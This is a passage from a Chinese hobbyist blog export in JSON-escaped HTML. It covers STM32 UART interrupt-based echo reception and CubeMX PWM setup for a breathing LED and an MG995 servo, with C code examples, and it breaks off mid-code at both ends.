punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 4. 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置 uLength = 0; //长度清零\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5. 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e完整中断服务程序\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eUSART1_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 判断数据结尾\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\r\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//长度清零\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 1 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 1 */\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"查看效果\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E6%9F%A5%E7%9C%8B%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"查看效果\"\u003e\u003c/a\u003e查看效果\u003c/h4\u003e\u003cp\u003e编译下载,使用串口查看\u003c/p\u003e\u003cp\u003e默认是不断发送之前的 \u003ccode\u003eHello World !\u003c/code\u003e ,在受到我们发送的数据后,将其再发送,结束后之前运行不受影响。(中断的好处)\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/uart/6.gif\" alt=\"6\" style=\"zoom:67%;\"/\u003e\u003chr/\u003e\u003cp\u003e发送与接收都完成咯,撒花 ~\u003c/p\u003e\u003cp\u003e)这算是搞明白了当时是如何操纵 \u003ccode\u003eStm32\u003c/code\u003e 使用 \u003ccode\u003eAT\u003c/code\u003e 指令与广和通 \u003ccode\u003eL610\u003c/code\u003e 通信了 ~\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(当时没搞明白,对着例程xjb抄,发送功能糊出来了结果最后没有接收功能……令人感慨。\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/b619/"},{"title":"CubeMX初配置PWM\u0026驱动MG995舵机","time":"2022-05-02T12:32:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"CubeMX初配置PWM-amp-驱动MG995舵机\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#CubeMX%E5%88%9D%E9%85%8D%E7%BD%AEPWM-amp-%E9%A9%B1%E5%8A%A8MG995%E8%88%B5%E6%9C%BA\" class=\"headerlink\" title=\"CubeMX初配置PWM\u0026amp;驱动MG995舵机\"\u003e\u003c/a\u003eCubeMX初配置PWM\u0026amp;驱动MG995舵机\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e最近在重学STM32,发现大二上整的像s一样\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-timer-cookbook/\"\u003eBonjour STM32] No.6-定时器简单理解与使用 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42967008/article/details/89267010\"\u003e STM32CubeMX学习笔记1——PWM配置_夏沫不学习的博客-CSDN博客_cubemx配置pwm\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/6151e6d4b207\"\u003eHAL库函数之呼吸灯——PWM波 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/he__yuan/article/details/79195435\"\u003e(37条消息) MG995舵机工作原理及基于STM32的驱动源代码_斜杠青年/的博客-CSDN博客_mg995舵机\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"PWM\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#PWM\" class=\"headerlink\" title=\"PWM\"\u003e\u003c/a\u003ePWM\u003c/h3\u003e\u003cp\u003e个人理解:PWM就是方波,具体使用的时候改变这玩意的占空比就行。 \u003cspan class=\"diana_biu\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s2.ax1x.com/2019/09/12/nBut8s.gif\"/\u003e\u003c/p\u003e\u003ch3 id=\"配置PWM\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E9%85%8D%E7%BD%AEPWM\" class=\"headerlink\" title=\"配置PWM\"\u003e\u003c/a\u003e配置PWM\u003c/h3\u003e\u003cp\u003e要知道 \u003ccode\u003eCNT\u003c/code\u003e (计数器当前值), \u003ccode\u003eARR\u003c/code\u003e (自动重装载值), \u003ccode\u003eCCRx\u003c/code\u003e (捕获/比较寄存器值)\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 小于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出高电平;\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 等于或大于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出低电平;\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s1.ax1x.com/2020/06/13/tjSq39.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e因为目前使用 \u003ccode\u003eSTM32F103C8T6\u003c/code\u003e ,首先设置使用外部时钟,再设置时钟为72Mhz\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/0.webp\" alt=\"3\"/\u003e\u003c/p\u003e\u003cp\u003e直接输入 72 就行,CubeMX 会自动配置\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003cp\u003e然后贴一段参考博客里的: \u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e确定时钟源频率后,我们就可以设置\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e了。按照之前的要求,我们想让定时器的溢出频率为5Hz,则240MHz/5Hz=48M分频。我们知道,一个模值(“容量”)为48M的定时器即可完成此分频,可是我们的\u003cstrong\u003eCNT\u003c/strong\u003e寄存器只有16位,也就是说模值最大设置为65535,远远不够呀。这就是预分频器\u003cstrong\u003ePSC\u003c/strong\u003e存在的意义了,“时钟源太快了,\u003cstrong\u003eCNT\u003c/strong\u003e没有足够的容量来实现较长周期的定时,所以需要预分频器把时钟降慢一些”。所以说,我们把48M拆成2400*20000就可以了。注意实际填入\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e都有一个“-1”,这是因为定时器是从0开始计数的,由0计到239正好是240次。总结一个定时器频率公式,就是这样:\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$f_{TIM}=\\frac{f_{CLK}}{(PSC+1)\\times(ARR+1)}$$\u003c/p\u003e\u003cp\u003e改变占空比只需要改变对应计时器的 CCRx 就行\u003c/p\u003e\u003cp\u003e$$Duty_x=\\frac{CCRx}{ARR}$$\u003c/p\u003e\u003cp\u003e因为 MG995 电机需要一个20ms的时基脉冲,所以需要频率50Hz,为我们设置 \u003ccode\u003ePSC=7200-1\u003c/code\u003e \u003ccode\u003eARR=200-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e72000000/7200/200=50\u003c/code\u003e\u003c/p\u003e\u003cp\u003e所以计数器每次 \u003ccode\u003e+1\u003c/code\u003e 的时间为 \u003ccode\u003e20ms/ARR=20ms/200=0.1ms\u003c/code\u003e\u003c/p\u003e\u003cp\u003e在CubeMX配置如下\u003c/p\u003e\u003cp\u003e设置 TIM3 定时器 ,只用一个通道就行,设置为 PWM模式,默认是 GPIOA16 管脚\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/5.webp\" alt=\"5\" style=\"zoom:80%;\"/\u003e\u003ch3 id=\"先点个灯\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E5%85%88%E7%82%B9%E4%B8%AA%E7%81%AF\" class=\"headerlink\" title=\"先点个灯\"\u003e\u003c/a\u003e先点个灯\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e历时108个秒,我做出了苹果手机没有的功能,呼吸灯\u003c/del\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e呼吸灯的呼吸,就是灯的强弱状态,改变 PWM 的占空比便可调整\u003c/p\u003e\u003cp\u003e具体配置和前面差不多,这里设置为 \u003ccode\u003eARR=500\u003c/code\u003e\u003c/p\u003e\u003cp\u003e 改变 CRRx 的两种方式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//ld1_duty 为我们设置的CCRx具体数值\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法一,直接操作\u003c/span\u003eTIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e ld1_duty\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法二,使用库函数\u003c/span\u003e\u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"主要代码为\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E4%B8%BB%E8%A6%81%E4%BB%A3%E7%A0%81%E4%B8%BA\" class=\"headerlink\" title=\"主要代码为\"\u003e\u003c/a\u003e主要代码为\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略一堆初始化函数\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 记录变强还是变弱\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 相当于CNT\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式 \u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变强状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变弱状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由强变弱\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由弱变强\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用库函数改变 TIM3 通道1 PWM 的占空比\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//延时\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"大概效果\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E5%A4%A7%E6%A6%82%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"大概效果\"\u003e\u003c/a\u003e大概效果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/1.gif\" alt=\"1\"/\u003e\u003c/p\u003e\u003ch3 id=\"驱动MG995舵机\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E9%A9%B1%E5%8A%A8MG995%E8%88%B5%E6%9C%BA\" class=\"headerlink\" title=\"驱动MG995舵机\"\u003e\u003c/a\u003e驱动MG995舵机\u003c/h3\u003e\u003cp\u003e这玩意具体参数可以去参考的博客去看\u003c/p\u003e\u003ch4 id=\"控制原理\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E6%8E%A7%E5%88%B6%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"控制原理\"\u003e\u003c/a\u003e控制原理\u003c/h4\u003e\u003cp\u003e舵机的控制一般需要一个20ms的时基脉冲,该脉冲的高电平部分一般为0.5ms~2.5ms范围内的角度控制脉冲部分。以180度角度舵机为例,那么对应的控制关系是这样的:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e0.5ms————–0度;\u003cbr/\u003e1.0ms————45度;\u003cbr/\u003e1.5ms————90度;\u003cbr/\u003e2.0ms———–135度;\u003cbr/\u003e2.5ms———–180度;\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"https://img-blog.csdn.net/20180129143043496?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaGVfX3l1YW4=\" style=\"zoom:67%;\"/\u003e\u003cp\u003e既然前面已经配置好时钟了,可以直接写代码了\u003c/p\u003e\u003cp\u003e调上面的角度转换成对应高电平部分\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 对应角度 0 45 90 135 180\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token 